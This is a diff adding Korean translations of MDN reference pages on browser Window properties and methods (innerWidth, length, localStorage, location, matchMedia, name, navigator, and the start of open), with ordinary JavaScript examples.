{{domxref("Window/vrdisplaypointerunrestricted_event", "vrdisplaypointerunrestricted")}}
+
Fired when the VR display's pointer input is no longer restricted to consumption via a pointerlocked element.
+ Also available via the {{domxref("Window/onvrdisplaypointerunrestricted", "onvrdisplaypointerunrestricted")}} property.
+
+ +

인터페이스

+ +

DOM 인터페이스를 참고하세요.

+ +

브라우저 호환성

+ + + +

{{Compat("api.Window")}}

diff --git a/files/ko/web/api/window/innerwidth/index.html b/files/ko/web/api/window/innerwidth/index.html new file mode 100644 index 0000000000..129b4a9347 --- /dev/null +++ b/files/ko/web/api/window/innerwidth/index.html @@ -0,0 +1,78 @@ +--- +title: Window.innerWidth +slug: Web/API/Window/innerWidth +tags: + - API + - Property + - Reference +translation_of: Web/API/Window/innerWidth +--- +

{{APIRef}}
+ 브라우저 윈도우의 뷰포트 너비로, 수직 스크롤바가 존재한다면 포함합니다.

+ +

구문

+ +

 

+ +
var intViewportWidth = window.innerWidth;
+ +

Value

+ +

intViewportWidth stores the window.innerWidth property value.

+ +

The window.innerWidth property is read only; it has no default value.

+ +

참고

+ +

innerWidth 값은 window, frame, frameset이나 다른 윈도우들처럼 모든 window 형식의 객체에서 사용할 수 있습니다.

+ +

There is an algorithm to obtain the width of the viewport excluding, if rendered, the vertical scrollbar.

+ +

예제

+ +
// 다음과 같이 뷰포트의 폭을 받아올 수 있습니다.
+var intFrameWidth = window.innerWidth;
+
+// 다음과 같이 frameset 안의 어떤 frame의 뷰포트 폭을 받아올 수 있습니다.
+var intFrameWidth = self.innerWidth;
+
+// 다음과 같이 가장 가까운 frameset의 뷰포트 폭을 받아올 수 있습니다.
+var intFramesetWidth = parent.innerWidth;
+
+// 다음과 같이 가장 바깥쪽 프레임셋의 뷰포트 폭을 받아올 수 있습니다.
+var intOuterFramesetWidth = top.innerWidth;
+ +

윈도우의 사이즈를 변경하려면, {{domxref("window.resizeBy")}} 또는 {{domxref("window.resizeTo")}}를 참조하세요.

+ +

명세

+ +

 

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-window-innerwidth', 'window.innerWidth')}}{{Spec2('CSSOM View')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Window.innerWidth")}}

+ +

참고 자료

+ + diff --git a/files/ko/web/api/window/length/index.html b/files/ko/web/api/window/length/index.html new file mode 100644 index 0000000000..b2d61b92af --- /dev/null +++ b/files/ko/web/api/window/length/index.html @@ -0,0 +1,51 @@ +--- +title: Window.length +slug: Web/API/Window/length +translation_of: Web/API/Window/length +--- +
{{ ApiRef() }}
+ +

window의 frame 개수를 반환합니다. ({{HTMLElement("frame")}} 또는 {{HTMLElement("iframe")}} 요소들 중 하나) 

+ +

신텍스

+ +
framesCount = window.length;
+
+ + + +

예제

+ +
if (window.length) {
+  // document의 subframes
+}
+ +

명세서

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','browsers.html#dom-length','Window.length')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-length', 'Window.length')}}{{Spec2('HTML5 W3C')}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.length")}}

diff --git a/files/ko/web/api/window/localstorage/index.html b/files/ko/web/api/window/localstorage/index.html new file mode 100644 index 0000000000..328650bb16 --- /dev/null +++ b/files/ko/web/api/window/localstorage/index.html @@ -0,0 +1,92 @@ +--- +title: Window.localStorage +slug: Web/API/Window/localStorage +tags: + - API + - Property + - Read-only + - Reference + - Storage + - Web Storage + - Window + - WindowLocalStorage + - 로컬스토리지 +translation_of: Web/API/Window/localStorage +--- +

{{APIRef("Web Storage API")}}

+ +

localStorage 읽기 전용 속성을 사용하면 {{domxref("Document")}} {{glossary("origin", "출처")}}의 {{domxref("Storage")}} 객체에 접근할 수 있습니다. 저장한 데이터는 브라우저 세션 간에 공유됩니다. localStorage는 {{domxref("Window.sessionStorage", "sessionStorage")}}와 비슷하지만, localStorage의 데이터는 만료되지 않고 sessionStorage의 데이터는 페이지 세션이 끝날 때, 즉 페이지를 닫을 때 사라지는 점이 다릅니다. ("사생활 보호 모드" 중 생성한 localStorage 데이터는 마지막 "사생활 보호" 탭이 닫힐 때 지워집니다.)

+ +

localStorage에 저장한 자료는 페이지 프로토콜별로 구분합니다. 특히 HTTP(http://example.com)로 방문한 페이지에서 저장한 데이터는 같은 페이지의 HTTPS(https://example.com)와는 다른 localStorage에 저장됩니다.

+ +

키와 값은 항상 각 문자에 2바이트를 할당하는 UTF-16 {{domxref("DOMString")}}의 형태로 저장합니다. 객체와 마찬가지로 정수 키는 자동으로 문자열로 변환합니다.

+ +

구문

+ +
myStorage = window.localStorage;
+ +

+ +

현재 {{glossary("origin", "출처")}}의 로컬 저장 공간에 접근할 수 있는 {{domxref("Storage")}} 객체.

+ +

예외

+ +
+
SecurityError
+
요청이 정책의 결정을 위반했거나, 출처가 유효한 스킴/호스트/포트 튜플이 아닌 경우. 유효하지 않은 튜플은 출처가 file:이나 data: 스킴을 사용했을 때 발생할 수 있습니다. 예외의 예를 들자면 사용자가 특정 출처의 지속성 데이터를 거부하도록 브라우저를 설정하는 경우가 있습니다.
+
+ +

예제

+ +

아래 코드는 현재 도메인의 로컬 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.

+ +
localStorage.setItem('myCat', 'Tom');
+
+ +

위에서 추가한 localStorage 항목을 읽는 법은 다음과 같습니다.

+ +
const cat = localStorage.getItem('myCat');
+ +

그리고 제거는 아래와 같습니다.

+ +
localStorage.removeItem('myCat');
+ +

localStorage 항목의 전체 제거 구문입니다.

+ +
localStorage.clear();
+
+ +
+

참고: Web Storage API 사용하기 문서에서 전체 예제를 살펴보세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태Comment
{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.localStorage")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/window/location/index.html b/files/ko/web/api/window/location/index.html new file mode 100644 index 0000000000..702857e02e --- /dev/null +++ b/files/ko/web/api/window/location/index.html @@ -0,0 +1,213 @@ +--- +title: Window.location +slug: Web/API/Window/location +tags: + - API + - HTML + - Window + - 레퍼런스 +translation_of: Web/API/Window/location +--- +

{{APIRef}}

+ +

Window.location 프로퍼티에 접근하면 읽기 전용인 {{domxref("Location")}} 오브젝트를 얻어올 수 있습니다. 이는 현재 도큐먼트의 로케이션에 대한 정보를 담고 있습니다.

+ +

Though Window.location is a read-only Location object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with location as if it were a string in most cases: location = 'http://www.example.com' is a synonym of location.href = 'http://www.example.com'.

+ +

문법

+ +
var oldLocation = location;
+location = newLocation;
+
+ +

예제

+ +

Basic Example

+ +
alert(location); // alerts "https://developer.mozilla.org/en-US/docs/Web/API/Window.location"
+ +

예제 #1: 새 페이지로 이동하기

+ +

Whenever a new value is assigned to the location object, a document will be loaded using the URL as if location.assign() had been called with the modified URL. Note that security settings, like CORS, may prevent this to effectively happen.

+ +
location.assign("http://www.mozilla.org"); // 또는
+location = "http://www.mozilla.org";
+
+ +

예제 #2: 서버로부터 현재 페이지 강제로 다시 로드하기

+ +
location.reload(true);
+ +

예제 #3

+ +

Consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash:

+ +
function reloadPageWithHash() {
+  var initialPage = location.pathname;
+  location.replace('http://example.com/#' + initialPage);
+}
+
+ +
Note: The example above works in situations where location.hash does not need to be retained. However, in Gecko-based browsers, setting location.pathname in this manner will erase any information in location.hash, whereas in WebKit (and possibly other browsers), setting the pathname will not alter the hash. If you need to change pathname but keep the hash as is, use the replace() method instead, which should work consistently across browsers.
+ +

예제 #4: Display the properties of the current URL in an alert dialog:

+ +
function showLoc() {
+  var oLocation = location, aLog = ["Property (Typeof): Value", "location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// in html: <button onclick="showLoc();">Show location properties</button>
+
+ +

예제 #5: Send a string of data to the server by modifying the search property:

+ +
function sendData (sData) {
+  location.search = sData;
+}
+
+// in html: <button onclick="sendData('Some data');">Send data</button>
+
+ +

The current URL with "?Some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).

+ +

예제 #6: Using bookmarks without changing the hash property:

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="UTF-8"/>
+<title>MDN Example</title>
+<script>
+function showNode (oNode) {
+  var nLeft = 0, nTop = 0;
+  for (var oItNode = oNode; oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+  document.documentElement.scrollTop = nTop;
+  document.documentElement.scrollLeft = nLeft;
+}
+
+function showBookmark (sBookmark, bUseHash) {
+  if (arguments.length === 1 || bUseHash) { location.hash = sBookmark; return; }
+  var oBookmark = document.querySelector(sBookmark);
+  if (oBookmark) { showNode(oBookmark); }
+}
+</script>
+<style>
+span.intLink {
+    cursor: pointer;
+    color: #0000ff;
+    text-decoration: underline;
+}
+</style>
+</head>
+
+<body>
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.</p>
+<p id="myBookmark1">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark2');">Go to bookmark #2</span>&nbsp;]</p>
+<p>Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+<p>Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.</p>
+<p>Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.</p>
+<p>Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.</p>
+<p>Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.</p>
+<p id="myBookmark2">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark1');">Go to bookmark #1</span> | <span class="intLink" onclick="showBookmark('#myBookmark1', false);">Go to bookmark #1 without using location.hash</span> | <span class="intLink" onclick="showBookmark('#myBookmark3');">Go to bookmark #3</span>&nbsp;]</p>
+<p>Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.</p>
+<p>Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.</p>
+<p id="myBookmark3"><em>Here is the bookmark #3</em></p>
+<p>Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.</p>
+<p>Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.</p>
+<p>Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.</p>
+<p>Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.</p>
+<p>Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.</p>
+<p>Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.</p>
+<p>Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.</p>
+<p>Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.</p>
+<p>Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.</p>
+<p>Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</p>
+</body>
+</html>
+
+ +
Note: The function showNode is also an example of the use of the for cycle without a statement section. In this case a semicolon is always put immediately after the declaration of the cycle.
+ +

아래는 같은 역할을 하지만, 애니메이션 스크롤이 들어간 버전…:

+ +
var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame > nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash && _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId > -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Window.location")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/matchmedia/index.html b/files/ko/web/api/window/matchmedia/index.html new file mode 100644 index 0000000000..224edecbd1 --- /dev/null +++ b/files/ko/web/api/window/matchmedia/index.html @@ -0,0 +1,77 @@ +--- +title: Window.matchMedia() +slug: Web/API/Window/matchMedia +tags: + - API + - CSSOM View + - JavaScript + - Media Queries + - Method + - Reference +translation_of: Web/API/Window/matchMedia +--- +
{{APIRef}}
+ +

Window.matchMedia() 메서드는 주어진 미디어 쿼리 문자열의 분석 결과를 나타내는 {{domxref("MediaQueryList")}} 객체를 반환합니다.

+ +

구문

+ +
window.matchMedia(mediaQueryString)
+ +

매개변수

+ +
+
mediaQueryString
+
분석할 미디어 쿼리를 나타내는 문자열.
+
+ +

반환 값

+ +

주어진 미디어 쿼리에 대한 {{domxref("MediaQueryList")}} 객체,

+ +

예제

+ +

다음 예제는 화면이 매우 좁을 때 다른 작업을 수행합니다.

+ +
if (window.matchMedia("(min-width: 400px)").matches) {
+  /* 뷰포트 너비가 400 픽셀 이상 */
+} else {
+  /* 뷰포트 너비가 400 픽셀 미만 */
+}
+
+ +

더 많은 예제는 Testing media queries programmatically를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-window-matchmedia", "Window.matchMedia()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.matchMedia")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/name/index.html b/files/ko/web/api/window/name/index.html new file mode 100644 index 0000000000..54228c7183 --- /dev/null +++ b/files/ko/web/api/window/name/index.html @@ -0,0 +1,32 @@ +--- +title: Window.name +slug: Web/API/Window/name +tags: + - 참고 + - 창 +translation_of: Web/API/Window/name +--- +
{{APIRef}}
+ +

요약

+ +

창의 이름을 얻거나/설정합니다.

+ +

문법

+ +
string = window.name;
+window.name = string;
+
+ +

예제

+ +
window.name = "lab_view";
+
+ +

설명

+ +

창의 이름은 주로 하이퍼링크나 폼의 target으로 설정됩니다. 그외엔, 창은 이름을 가지는 것을 거의 필요로 하지 않습니다.

+ +

또한 몇몇 프레임워크에서 창의 이름은 cross-domain messaging을 제공하기 위해 사용됩니다. (예를 들면, SessionVars 과 Dojo's dojox.io.windowName) 좀더 보안을 생각한다면 JSONP로 대체 될 수 있습니다. 하지만 최근 의 웹어플리케이션이 호스팅하는 민감한 데이터들은 cross-domain messaging을 이용하기 위해서 window.name에 의존해서는 안되며, 대신 postMessage API를 이용하는 방법이 있습니다.

+ +

window.nametoString 메소드를 이용해 모든 값을 문자열로 변환합니다.

diff --git a/files/ko/web/api/window/navigator/index.html b/files/ko/web/api/window/navigator/index.html new file mode 100644 index 0000000000..2c37903789 --- /dev/null +++ b/files/ko/web/api/window/navigator/index.html @@ -0,0 +1,44 @@ +--- +title: Window.navigator +slug: Web/API/Window/navigator +tags: + - API + - DOM + - Property + - Read-only + - Reference + - Window +translation_of: Web/API/Window/navigator +--- +
{{APIRef}}
+ +

Window.navigator 읽기 전용 속성은 스크립트를 구동 중인 애플리케이션에 대한 메서드와 속성을 가진 {{domxref("Navigator")}} 객체의 참조를 반환합니다.

+ +

구문

+ +
const navigatorObject = window.navigator
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.navigator")}}

diff --git a/files/ko/web/api/window/open/index.html b/files/ko/web/api/window/open/index.html new file mode 100644 index 0000000000..eefa823c08 --- /dev/null +++ b/files/ko/web/api/window/open/index.html @@ -0,0 +1,665 @@ +--- +title: Window.open() +slug: Web/API/Window/open +translation_of: Web/API/Window/open +--- +
{{APIRef}}
+ +

 {{domxref("Window")}} 인터페이스인 open() 메써드는 명시된 리소스를 명시된 이름으로 브라우징 컨텍스트(윈도우, {{HTMLElement("iframe")}} 또는 탭)에 로드한다. 이름이 없다면 새 윈도우가 열리고 이 윈도우의 브라우징 컨텍스트에 명시된 리소스가 열린다.

+ +

문법

+ +
var window = window.open(url, windowName, [windowFeatures]);
+ +

Parameters

+ +
+
url
+
A {{domxref("DOMString")}} indicating the URL of the resource to be loaded. This can be a path or URL to an HTML page, image file, or any other resource which is supported by the browser. If the empty string ("") is specified as url, a blank page is opened into the targeted browsing context.
+
windowName
+
A {{domxref("DOMString")}} specifying the name of the browsing context (window, {{HTMLElement("iframe")}} or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowName. This name can then be used as the target of links and forms by specifying it as the target attribute of {{HTMLElement("a")}} or {{HTMLElement("form")}} elements. The name should not contain whitespace. Keep in mind that this will not be used as the window's displayed title.
+ If the string is empty, the browser will create a new window every time (this behaviour doesn't work when the string is replaced with NULL).
+
windowFeatures {{optional_inline}}
+
A {{domxref("DOMString")}} containing a comma-separated list of window features given with their corresponding values in the form "name=value". These features include options such as the window's default size and position, whether or not to include scroll bars, and so forth. There must be no whitespace in the string. See {{anch("Window features")}} below for documentation of each of the features that can be specified.
+
+ +

Return value

+ +

A {{domxref("Window")}} object representing to the newly created window. If the window couldn't be opened, the returned value is instead null. The returned Window reference can be used to access properties and methods of the new window as long as it complies with Same-origin policy security requirements.

+ +

Description

+ +

The open() method creates a new secondary browser window, similar to choosing New Window from the File menu. The strUrl parameter specifies the URL to be fetched and loaded in the new window. If strUrl is an empty string, then a new blank, empty window (URL about:blank) is created with the default toolbars of the main window.

+ +

Note that remote URLs won't load immediately. When window.open() returns, the window always contains about:blank. The actual fetching of the URL is deferred and starts after the current script block finishes executing. The window creation and the loading of the referenced resource are done asynchronously.

+ +

Examples

+ +
var windowObjectReference;
+var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes";
+
+function openRequestedPopup() {
